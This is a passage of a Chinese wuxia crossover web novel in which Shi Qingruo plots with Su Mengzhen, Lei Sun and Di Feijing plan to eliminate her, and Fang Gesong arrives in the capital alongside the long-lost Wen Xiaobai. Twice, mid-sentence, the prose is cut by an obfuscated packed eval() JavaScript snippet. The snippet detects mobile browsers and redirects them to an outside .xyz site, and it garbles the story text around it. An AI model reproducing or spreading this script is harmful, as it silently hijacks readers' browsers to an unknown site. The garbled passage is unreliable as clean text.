但更为稀奇的,是曾经身为连云寨寨主的戚少商,进了六扇门办事,与铁手的位置做了个互换。 而他上任之后督办的第一件事,就是和无情总捕一起,登了傅宗书傅相爷的大门。 也就是第二件事。 连云寨血案中,众多寨主身亡,戚少商自己也断了一条臂膀,多是因傅宗书下令所致。 偏偏这位傅相向来懂得取舍,还没等事情惹火烧身到他这头,就已“大义灭亲”,将进攻连云寨的一干“罪魁祸首”,全给送交法办,就连他的义子顾惜朝也不例外。 如此算来,他已是成功从此事中脱身。 以至于无情会同戚少商找上门去的时候,傅相还不忘嘲讽了一阵,戚少商这是穿上了新衣也不像个捕快。 哪知道,对方根本不是来跟他算那笔旧账的,而是来找他要人的。 还是两个在汴京城里摆比武招亲摊子的人。 傅宗书彼时如鲠在喉的神情,简直像是因为在众目睽睽之下比斗,却上来劈空了一刀。 但更让他没想到的事情还在后头。 穆家父女刚要被送出府的时候,正遇上了他的夫人。 两方打个照面之际,那位自称名叫穆易的江湖侠客竟忽然变了脸色,声称相府夫人是他曾经的妻子,因当年兵乱才导致了两人分开。 若是只有他一头热也便罢了。 那位多年间养尊处优的包夫人也立刻认出,那确实是她当年以为已经亡故的丈夫杨铁心。 她没有忘记自己当年和丈夫是如何伉俪情深,一见亡夫归来,包夫人不愿再做这个宰相夫人,一心只想带着自己的儿子傅康,或者该当称为杨康,随同丈夫杨铁心一起离开。 若是这出认亲的戏码只发生在相府之内,无论是以傅宗书的权势地位,还是凭借他自己就不俗的武功造诣,都足以将人拦下。 奈何今日登门前来要人的,还有向来办事公道的无情总捕。 这桩认亲,便以公案的形式落在了六扇门这头。 无论是本应作为相府家眷的包惜弱包夫人,还是忽然遭逢身份巨变的杨康,连带着杨铁心和穆念慈父女,都被无情一并接走了。 按照六扇门那边放出来的说法,等到将当年杨铁心和包惜弱夫妻分离的那桩旧案查探清楚,两方也从这出骤然重逢的变故中冷静下来,再来重新评判个中归属。 当然,在此之前,杨康掳劫杨铁心和穆念慈入府,按照汴京的律法乃是有过在先,得先接受法办才行。 其中的详情倒是没有全部披露在汴京百姓的口耳相传之间,但光是【无情总捕登门,傅相痛失爱妻爱子】,就已足够让人看个热闹了。 若是傅宗书最后不仅不能认回妻子,还不能认回儿子,那可就是接连因为无情的缘故,失去两个儿子了。 听闻他早年间没当上丞相的时候为了营造洁身自好的假象,府中根本没有几个姬妾,只留下了两个孩子,还都没活到成年。 傅康虽然不是他亲生,可打从出生就养在他膝下,于他来说与亲生儿子也没有区别,甚至一直是以等同于亲子的待遇在外走动,远比那义子顾惜朝对他来说重要得多。 更别说—— 他已贵为宰相,凭什么让他将妻儿都送还给一个无权无势的江湖浪人! …… “师夫人是怎么看这些热闹的?” 师青若刚收回往三合楼外看去的视线,就听到了苏梦枕的这句发问。 迷天盟和金风细雨楼起码在外界看来,就算称不上敌对,也只能算是井水不犯河水,故而这出再度邀约会面,自然不能放在天泉山上的金风细雨楼中,或者是迷天盟那个被重新启用的驻地当中。 最后被选定的会客地,是在先前婚礼沿途遇到过贼人袭击的三合楼。 经过简单的修缮,这里已看不太出先前被破坏的位置。 而选择此地更重要的原因是,这里怎么说也是迷天盟的地盘。 按照师青若的意思,她一个不会武功的弱女子都敢突然发起这场邀约,苏楼主以红袖刀名闻天下,总不会还怕她做什么手脚。 “怎么看……”师青若眸光中有一瞬的恍惚,接道,“有道德的人总是会让自己更痛苦吧。” 苏梦枕问:“你说的是铁手的事情?” “既是,也不是。”师青若嗤笑了一声,“这汴京城中,甚至是天下武林不都是如此吗?有操守的人为世道崩坏而痛苦,甚至觉得自己没尽到做人做侠士的义务,想要寻求一条出路却觉四面无光,可无德的人却照旧放浪形骸,只需要丢掉几个弃子,便能安享荣华。苏楼主觉得,是不是这个道理?” 苏梦枕没有立时回答。 师青若的这番里说的确实不仅是铁手。 若是算上朱小腰告知于他的消息,应当还有方应看和……和他金风细雨楼的薛西神。 苏梦枕肃容叹道:“待汴京事了,我会给湖北一个交代。” 师青若不置可否,只神色淡淡:“苏楼主说的是给湖北一个交代,而不是给我一个交代,这一点很好。” 至于为何是汴京事了,而非此时,也无需多问了。 薛西神位列金风细雨楼五大神煞,不仅在楼中地位超然,论起办事的能力,也远在苏梦枕的诸多下属之上。 如今正值各方博弈,清算薛西神当日作为,只会让楼中上下内乱,甚至被六分半堂反咬一口,确实不是对他问罪的时候。 师青若今日来也不是说这个的。“我想,苏楼主接到了我的邀约便同意前来,应当并不只是想问我对那件事的看法才对。” 苏梦枕眸光定定。明明和上一次见面仅仅间隔不远,他的面色却比上次还要差得多,但当他抬眸看人的那一刻,不会有人怀疑他会因为身患的疾病倒下去。“你做的事情太杂了。” 当日他愿意相信师青若的本事,将金风细雨楼安插在迷天盟中的人手交给她调度,那在大事上他就不会指手画脚。 疑人不用,用人不疑—— 金风细雨楼能在汴京崛起,对这句话最有发言的权力。 哪怕师青若的身份是迷天盟的圣主夫人也不会例外。 但并不代表,在一个太过紧要的时间点,他觉得队友掉队的时候,不会出声提点。 “你要与金风细雨楼正式联手,光靠着近来做的事情还远远不够。我只能看出你有收拢手下,让自己办事更加顺遂的想法,能看到你明白何为借力打力,让无情总捕代你办事,但无论是傅宗书府上的家务事,还是方应看那头的浑水,都不是当务之急。” 他将话说得很直接爽快,师青若也回得果断:“可苏楼主不能否认,我近来确实得到了几个可用的人才。” 王小石和白愁飞的资料,在从白楼那头送到朱小腰和她面前的同时,一定也送给苏梦枕看过。若非师青若先行招揽,这两人对于苏梦枕来说,同样可以是好帮手。 因为杨铁心父女的事情暂时移交到了六扇门,黄蓉与郭靖也暂时留在了迷天盟内。虽然还不能算是她的助力,但师青若有这个信心,迟早能将这两个初出江湖的少年人拉拢到麾下。 至于陆小凤和司空摘星…… 今日的会面中,他二人能来为她保驾护航,本就代表着一种态度。 “太慢了,我没有这么多的时间。”苏梦枕说话间又重重地咳嗽了一声。 寻常人的咳嗽,若是以手掩面,还能保持住自己的体面。 苏梦枕却不同。 他这一声剧烈的咳嗽,像是有一根看不见的丝线,将他的喉咙与肺腑牵连在了一起。当脸上的神经颤抖的时候,肺腑剧烈的疼痛,拉拽着他全身每一根筋骨都在饱受煎熬。 就连他放在桌上的那一只手,都因指节的发力而完全褪.去了血色。甚至让人怀疑他会不会在这一阵咳嗽中,将自己的五脏六腑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930943|160639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都给咳出来。 或许唯一值得称道的只是…… 只是并未咳出血来而已。 他定了定心神,认真地将帕子折叠放回了衣袖间,这才又重复了一遍:“我没有这么多的时间。” 对于一个病人来说,时间是最奢侈的东西。 从另一个角度上,雷损也不会给迷天盟这么多的时间,让她有机会重整部从,招募新人。一旦迷天盟对外展露出了蓬勃之势,雷损必定会以最快的速度展开行动。 师青若很清楚这一点,但在这句质疑面前,她还是先摇了摇头:“如果你的时间真的短缺到了这个地步,你不会在前几日和狄飞惊见面。” 苏梦枕脸上露出了几分讶异的神情。 他在前几日确实先去见了一次狄飞惊,也就是六分半堂总堂主雷损最得力的那位下属。 六分半堂大堂主狄飞惊。 这个消息在京中并未对外隐瞒,所以他奇怪的也不是师青若会知道此事,而是她看待此事的想法。 师青若说了下去:“你如果真已到了没多少时间的地步,你不会有这个闲情逸致再弄清楚,狄飞惊到底是一个什么样的人。江湖上的传闻已经足够让你清楚,这个人很懂得评判人才、看清局势。若是你的身体不足以让你将某些信号成功传递给他,甚至是误导他,你更应该做的是一击即中,而不是先带人拔除了六分半堂在琼华岛的据点,随后带着这份胜利去与人谈判。” 苏梦枕怔了怔,间隔了片刻方才继续开口。“师夫人……你比我想象中的,要更了解我。” 师青若的眼神并不凌厉,甚至和狄飞惊有些相似,在看人的时候,透着一股温和而明净的味道。 但又或许,相比于狄飞惊,师青若的眼神还要更显柔和一些,少了几分对人对事的打量。 但就是这样一双眼睛的主人,明明来到汴京不过数月的时间,就已像是个和他相交多年的老朋友一般,一针见血地点明了他的状态。 这很难不让他又一次想到了先前见到师青若时的错觉。 好像那并不是他第一次见到她才对。 师青若的声音却又将他从稍纵即逝的恍神中拉到了眼前:“不,我并不了解你。起码我不知道,当一个人全身上下有数种绝症,还有许多名称都不一定有的疾病时,为何还能活于世上,甚至活得比大多数人要好。我想这并不能单纯用奇迹来形容。” 苏梦枕从容答道:“因为金风细雨楼没有倒下,而我就是金风细雨楼。” 这句异常坚定而强悍的话只在苏梦枕的口中过了一轮,就已听他话锋一转:“罢了,现在不是谈论此事的时候,你既知道我是个什么样的人,那就应该更清楚我对这份合作的期望。” “不错,但动作的慢与不慢,不是光看现在的表现就够的。”师青若扬唇微笑,“何况,我今日前来见你,本就是有一个计划,想要和你商量。” 苏梦枕颔首,示意师青若接着说下去。 然而或许他自己都未曾发觉,当他做出这个表现的时候,已将一部分的主动权交到了师青若的手里。 更准确的说,当师青若率先一步跳出了对她行动太慢太杂的质疑时,她就已经在主客双方的位置上完成了一步置换。 “说起来,这个计划还是因为先前夜探神通侯府才让我想起来的,也不算是白费了工夫。”师青若脸上的笑意更盛,仿佛仍要就这件杂事找回点场子。 苏梦枕对此颇觉无奈,只沉稳地听着她说了下去。 “虽说这件事,是我在还未入汴京的时候意外听闻,消息的来源我也无法告诉你,但苏楼主大可不必担心我接下来要说的话是真是假。” “雷损不会轻易放过一块本该到手的肥肉,在旁窥伺的神通侯府也不会只有那些刚刚抵达府上的跳梁小丑。我很清楚,一旦我走错了一步,到底会面对一个什么样的结局。但若执行成功,说不定能将这两方都给一网打尽。” “我的计划,若是归成一句话,应当叫做——” 她一字一顿地说道:“置之死地而后生。” 苏梦枕挑眉,凝视着面前这张因运筹帷幄而更显绝代的面容,没有质疑于她的算盘,而是问道:“你的死地还是我的?” 师青若伸手一指:“我。” 15. 015 “近来金风细雨楼和迷天盟那边都有什么动静?” 相比于金风细雨楼的天泉山白塔,六分半堂的不动飞瀑作为总堂禁地,要显得不那么醒目些。 但若真有人试图闯入此地的话便会知道,在这看似寻常的地方,到底有多少机关岗哨。 能够走到此地的,也不过寥寥数人而已。 在静得出奇的背景里,雷损的这句问话便格外清晰地传入耳中。 狄飞惊的眼帘动了动,却没当即答话。 作为京城里头号帮派的辅佐,他所说的每一句话都需要三思而行,更不必说,雷损的这句问话,绝不只是单纯在问一个事实。 金风细雨楼和迷天盟的所有动静,每日里都有专人向雷损汇报,并不需要狄飞惊再向他重复一次。 他要回答的,是一个判断。 狄飞惊抬目凝视,露出一双仿佛水洗过的眼睛,“局势对苏梦枕是越来越有利的,但很奇怪,他急于得到一个结果。” “琼华岛一战后,周边千余帮众转投,不算因利益捆绑在堂可能被胁迫转投的,真正的帮众只剩七千,还分散在各地堂口。而金风细雨楼近两年来发展帮众、联络官员,人数上已直逼我们。” 雷损拢在衣袖中的手摩挲着那枚翡翠戒指,冷声回道:“当年我见他随父亲入京,定下他与纯儿的婚事时,可没想到他能这么出息。” 出息到稍有不备,就会让他凌驾于自己的岳父之上。 甚至还不是凌驾。 汴京城里若是只能剩下一个帮派,他与苏梦枕就是不死不休的关系! 他并未瞧见,当他提到“纯儿”两个字的时候,身边的狄飞惊面上有片刻的波动。 从他所在的角度也确实看不见。 狄飞惊的颈骨断了,抬不起头来,除却必须抬眸对望的时候,他更喜欢低下头去。 反正他低着头也不妨碍他说出口的话,从不是站在低处发出的,而是一句俯瞰全局的判断:“他不等,就一定有他的理由。” 六分半堂先对迷天盟动手,想从中攥取利益的目标没有达成,反而让迷天盟中有人重新掌权,让身在其中的部分人马受到制约。 湖北那头因为闻巡抚与金风细雨楼的合作,六分半堂的一批大货遭到拦截,其中还有一批从川渝转运过来的唐门火器,尤其麻烦。 傅相本是站在六分半堂这头的,却因为连云寨一事被迫收拢了势力,现在还有另一桩事牵绊住了他的心神,起码在短时间内帮不上六分半堂什么忙。 “你的意思是,先前时间和局势都对他有利,但现在——” “局势对他有利,时间却很可能对我们有利。”狄飞惊答道。① 甚至这个局势有利原本也不是全能作数的。 人多的地方变数就多。两方帮派的合并也不是一次两次胜利就能让人心齐聚、尽数倒戈的。 时间的优势,要远比一时的局面优势重要得多! 在这句判断面前,雷损的声音都不由谨慎了起来,“时间对我们有利的意思,是说,苏公子的身体要不行了?” 雷损能坐在六分半堂总堂主的位置上,虽是因为当年算计了关七,借着他的手除掉了自己的对手,但若是论起武功,在江湖上依然是数一数二的。 他曾经无数次将自己代入苏梦枕的位置,试图去探明,让苏梦枕活下来的奇迹到底能维系住多久,却一直难以得到一个准确的答案。 直到现在…… 他听到了一个从狄飞惊口中说出来的判断,也是一句惊雷疾电一般的判断。 “是。” “好!我相信你的结论。”他没有因为这句话而失态,更没有因为对手暴露出的弱点而发笑,只是忽然停下了摩挲戒指的手,更没有在忽然之前,就将对苏梦枕的那句“苏公子”敬称,换成什么低看于他的绰号。 只有深知雷损脾气的狄飞惊才知道,在确认局势有变的这一刻,总堂主心中的激动。 雷损深吸了一口气,忽而转换了话题:“那再说说迷天盟那边吧。” 每一个不安定的因素,对他来说都是必须弄明白的。 神通侯府那边颇有野心这件事他是知道的,不过现在,方应看要因为傅相的缘故和他们搞好关系,不会给他们制造麻烦,他也乐于见到对方拿出这个表现。 至于方应看能不能趁着他们这头两败俱伤得到好处,那是另外的事情。 他更应该操心的,是让他吃瘪过的迷天盟。 狄飞惊默然须臾,答道:“她比我想象中的要聪明。” “说来听听。” 狄飞惊道:“当日大婚典礼,她引无情总捕入局,负责维系秩序,穆家父女被困相府,无情登门求见,我猜也与她有关。我起先在想,若是一个人习惯于求助官府,和六扇门合作,那她一定不适合迷天盟。” “不错。”雷损深有同感。 关七发狂之前,迷天盟中还有关大姐坐镇,对入盟的江湖人士,多少还有些把控。可到了关大姐失踪,关七疯魔之后,迷天盟就愈发鱼龙混杂。 入不得金风细雨楼或者六分半堂的诸多……按照雷损的说法应当叫做“杂碎”的武林人士,便混在这个半死不活的迷天盟内。 这些人甚至要比司空摘星那神偷还要更怕遇见官府的人,更别说是无情总捕这样的人物。 一旦师青若有心抓个典型,试图再度凭借六扇门的力量肃清盟中风气,恐怕非但不能让她如愿以偿,反而会让迷天盟中顿时大乱。可她没有。 “前日任鬼神传回来的消息,这位圣主夫人代表关七开了一次盟中要员的会议,以避开金风细雨楼和六分半堂争斗的理由,将部分盟中帮众调度往了北方。盟中只有听从调遣的,没有唱反调的。” 近来北面因为连云寨、毁诺城的重建,自汴京往北面的买卖不少,能捞着不少油水。迷天盟中不少贪生怕死的帮众乐得听从这个安排,只会觉得圣主夫人明智。 狄飞惊:“她的另一桩安排,是让迷天盟帮众将京城周遭的据点重新建立,但避开了四面即将建成的四辅马步军营地,将任鬼神和邓苍生调出了汴京城。” “他们两人先前做得确实太明显了。”雷损冷声斥道。 无论是在迷天盟婚宴前的旁敲侧击,还是迎亲路上的无功有过,对于位居圣主位置上的人来说,都太过不合适了。 新官上任三把火,要烧就烧在这样的人身上。 偏偏师青若摆在明面上的举动,不过是让他们重建京城周遭的据点,还有心避开官府清算亡命之徒的风潮,根本找不出她的半点不是来。 加上迷天盟大圣主颜鹤发和二圣主朱小腰的支持,任鬼神除非当场将雷损这个后台搬出来,否则只有暂时离开汴京一条路可走。 也正是凭借着这两条指令,圣主夫人已算是正式坐在了执掌盟中事务的位置上,而不仅仅是个被关七娶回来的美人。 不过…… 狄飞惊思忖了片刻,又接着说道:“但她的有些手段,还是稚嫩了些。” “规避冲突对于如今的迷天盟来说或许是个好办法,却不是长久之道。迷天盟已如中空朽木,除非断尾求生,另起炉灶,否则一旦等到我们与苏楼主分出胜负,或是官府意图清算江湖势力,都只有死路一条。她不想着将白愁飞和王小石这两个年轻人的本事用在刀刃上,反而让他们离开汴京,无疑过于短视。” “另一面,她让自己处在了方小侯爷的对立位置,平白给自己又找个麻烦,只为了点微不足道的收益,同样不太明智。何况,她想出的应对之法,还是让人去寻方巨侠回京。” 雷损一笑:“方巨侠爱子情深,不会随意相信旁人的话,就算将人请来京城,也不过是做无用之功。” 这“爱子情深”四字,从雷损的口中说出,简直充满了嘲弄之意。 狄飞惊默契地听懂了这话中的意思,在那张俊俏的面容上同样浮现起了一缕笑容。 忽听雷损转而发问:“按你这么说,迷天盟那边暂时可以不必去管?” “不,恰恰相反。”狄飞惊回答得果断,“一个聪明人被意外放在了一个此前不曾坐过的位置上,有决策失当是正常的,但我们不能给她以成长的时间。与其等到她想明白何为当断则断,成长为心腹大患,还不如当先解决她。” 苏梦枕没有那么多时间了,拖延局势对金风细雨楼有弊无利。 师青若需要时间成长,但六分半堂不该给她这样的机会。 该当如何,该当先解决哪一方,已再清楚不过了。 雷损再一次伸出了他的手。 与当时参加迷天盟婚宴的时候一样,他伸出的,是那只残缺的,代表“绝杀令”的左手! “越快越好!” …… 这句话,当陆小凤踏上返程之路的时候,也是这样说的。 当日三合楼上师青若和苏梦枕的会晤,在陆小凤这等闲云野鹤惯了的人看来,简直像是两个疯子的对话。 那么他大概也被汴京城中的种种见闻给逼疯了。 要不然,他怎么会同意师夫人所说的将她自己放在危险处境之中的计划,又怎么会和司空摘星一起离开汴京,去邀请两个原本不在汴京城里的人。 他也从来没想过,他陆小凤的人脉和嘴皮子工夫,会用在这个地方。 上至六扇门中和他熟识的名捕金九龄,中到金风细雨楼那头交给他支派的眼线,下到他和司空摘星认识的那些三教九流,全都被用来了寻找一个人上。 谁让这个人是方歌吟! 方歌吟方巨侠带着夫人桑小娥游历山水,无心过问世事。 与他交好的人、受过他恩惠的人、听从他号令的人都愿意成全他的这等闲志,将他的行踪给隐藏了起来,要想通过正常的手段打探到他身在何处简直太过艰难。 若非陆小凤恰好遇上了楚留香,听闻方歌吟近来在崂山地界拜会麻衣客,恐怕根本无法在一个月内寻到方歌吟的下落。 好在有了这个开头,剩下的事情就好办了。 方歌吟确实重视他的儿子,在听陆小凤说起京中的事情后,当即准备启程回京。 只是让陆小凤大觉惊诧的是,他都已将话说到了这个地步,方歌吟居然还觉得,这或许是有什么人在京中欺上瞒下,这才让神通侯府中出现了这样的情况。 若是他不曾记错的话,方应看在被方歌吟夫妇收养之前,曾有一对在江湖上堪称恶贯满盈的父母。若非方歌吟念在故人情义,在老龙婆死后收养了方应看,他的名字应当还叫“方应砍”才对。 方歌吟不怀疑他的义子天生恶种,又在汴京城的名利圈中愈发堕.落,倒是怀疑起了他派遣过去辅佐方应看的手下? 陆小凤满肚子的疑惑,在纵马疾驰回京的路上沸腾。 更让他疑惑的,还有另一个归心似箭的人。 当他按照师青若所说的那样,将迷天盟盟主近来娶妻的消息混在告状之中说出,那人的面色便已一变再变。 方歌吟本还犹豫是否要回京看看,也是此人出言推波助澜。 当他们一并踏上前往汴京的归途之时,陆小凤才从桑小娥的口中得知,这位夫人是被他们夫妻在十多年前救下的。 因为当年曾经见她被迫与丈夫和女儿分离,在心神恍惚之下想要寻死,甚至本已身中剧毒,便一面找了岭南老字号温家的人为她解毒,一面带着她一并行路游览,希望寄情山水能够让她找回人生的乐趣。 怎么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930944|160639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,陆小凤不太理解。 夫妻二人的旅途中横空插出一人,按说有个数月都已算是极限了,怎么偏偏这三人就能把臂同游这么久。 若非他如今同样急迫地想要回到汴京去,看看师夫人在那片浑水之中的处境,只怕还要多问上两句。 但幸好—— 这一千多里的路,以千里马疾驰,也不过短短数日的时间! 又因方歌吟的名声,他们还未到汴京,尚在十多里外的楚河镇歇脚,京中各方势力前来问候的使者,就已到了他们的面前。 毫无疑问,方巨侠到来的消息,已经先一步传遍了整个汴京城。 …… 京城之中各方势力再有多少摩擦,在这位江湖名侠到来之时,都得暂时全数停下来。 这自然不全是因为方歌吟的武功,还因为他的身上起码牵连着六七个江湖门派的势力兴衰,其中又以血河派、天羽剑派和大漠派为首。 若是将方歌吟早年间的经历写下来,几乎可以等同于一部少年成长的传奇小说,而今,他却已成为了江湖武林的泰斗人物。 饶是雷损对于方歌吟的某些举动大觉他愚蠢,也并不觉得方歌吟会插手六分半堂与金风细雨楼之间的争斗,还是与江南霹雳堂驻扎在汴京的人手一道,商定出了迎接的人选。 在听闻了迷天盟那头的安排后,他甚至干脆决定由自己亲自去见一见这位方巨侠。 金风细雨楼那边如何姑且不论,六分半堂备了几多礼物也大可不提,面对方歌吟的到来最可算是鸡飞狗跳的,还是神通侯府。 方应看自觉立足京城不稳,先是拉拢了皇帝身边的红人米有桥,不惜许诺让自己将来的帮派取名“有桥集团”,在经济上也就更加不择手段。 他威逼京城周遭的富商协助他放贷给普通百姓,再以暴力的手段从这些可怜人处搜刮钱财与土地,几乎已成了一条产业。 若是方歌吟没来汴京,凭借着他笑脸迎人、和各方打好关系的本事,绝不会有人借此对他问责。 然而义父这一来,起码在明面上他不能跟这些生意再有任何的瓜葛,也得在义父面前装出个乖儿子的样子来。 “一群多管闲事的家伙!”方应看心中暗骂,出现在人前的时候却早已收拾体面,宛然一个浊世佳公子。 一见方歌吟几人遥遥前来,他连忙翻身下马,朝着来人迎了上去,拱手问好:“孩儿给义父义母请安。” 方应看心中已有权衡。若是方歌吟此来是为了当日侯府之中发生的事情,没给他以好脸色,他接下来的行事态度便该再谨慎小心一些。 若只是恰巧而已,那么接下来方歌吟便该将他搀扶起来,回他一句与往年一般亲昵的“小看”。 可事与愿违,方应看躬身良久,仍然没能等到方歌吟的回复。 他心中巨石一沉,小心地抬头打量,却发觉,方歌吟并无举动,不是因为对他心怀怒气。 而是因为,他此刻的目光根本没有落在这个义子的身上,而是看向了远处。 方应看侧头回看,便见远处一队人马正在朝着这个方向靠近。 观其衣着,似乎是迷天盟的人。 迷天盟? 他眼皮一跳,就见那为首的马车之上,走下来了两个人。 那还真不能怪方歌吟一直看向那个方向。 当这两人出现在人前、相携而来的时候,无论是谁都不能否认,他们简直是一对璧人。 哪怕关七的发间已染白霜,但时间对他那张面容的优待,让他时至今日看来,也像是个少年人,与他身边那风华绝代的美人正当相配。 又哪怕他的心智有缺,若是仔细看去便会发觉他目中无神,但回荡在他身边的内劲堪称登峰造极,对于在场的武林人士来说已是天大的威慑。 而走在他身边的女子似乎根本不曾受到这些失控内劲的影响,将手虚扶在他的臂膀上,竟像是取代了原本用于约束他的枷锁,让他得以像是今日这般体面地出现在了人前。 就连方歌吟都因为这两人的到来愣住了一瞬,没能在第一时间说出话来。 以至于在这车马停下后的片刻寂静中,当先发出的声音竟是来自他的身后。 来自那个,被方歌吟夫妇救下的夫人。 那还坐在马上的女子忽然一把扯下了头上的幂篱,死死地盯着师青若挽住关七的那只手,面颊上的血色霎时间消退殆尽。 她似乎有一瞬咬紧了牙关,极力遏制住自己的情绪,可最终还是没能恢复平静。 以至于那张虽已年过四旬却还颜如少女的脸上,少了本该有的清绝素淡,只剩下了一片恍惚。 若是众人看了这样的反应还猜不出她的身份有异,那也枉在江湖上混了。 更有眼尖巡视全场的人发觉,当她摘下覆面之物的刹那,同在此地的雷损也有一瞬的失态。 倘若有人细心观察的话,便会发觉,与雷损同来的女儿雷纯,竟在五官上和那白衣女子有七分的相似。 但在来人的眼里,根本没有这些无关紧要的人。 她只是……只是痴痴地望着关七,忽然情难自抑,高声问道:“七哥,她是你的夫人,那我是谁?” “我们的约定,你都已经忘了吗?” 众人大惊,几乎是下意识地便看向了被她质问的那一方。 在各方视线之中,只见关七脚步当即一顿。 他起先并无异常。 然而那个声音像是于他而言有一种别样的魔力,竟是让他眼中零星的光彩,都在忽然之间聚集在了一处。 也极其缓慢地,落在了那女子的身上。 近乎本能一般,他缓缓喊出了一个名字:“……小白?” ——温小白!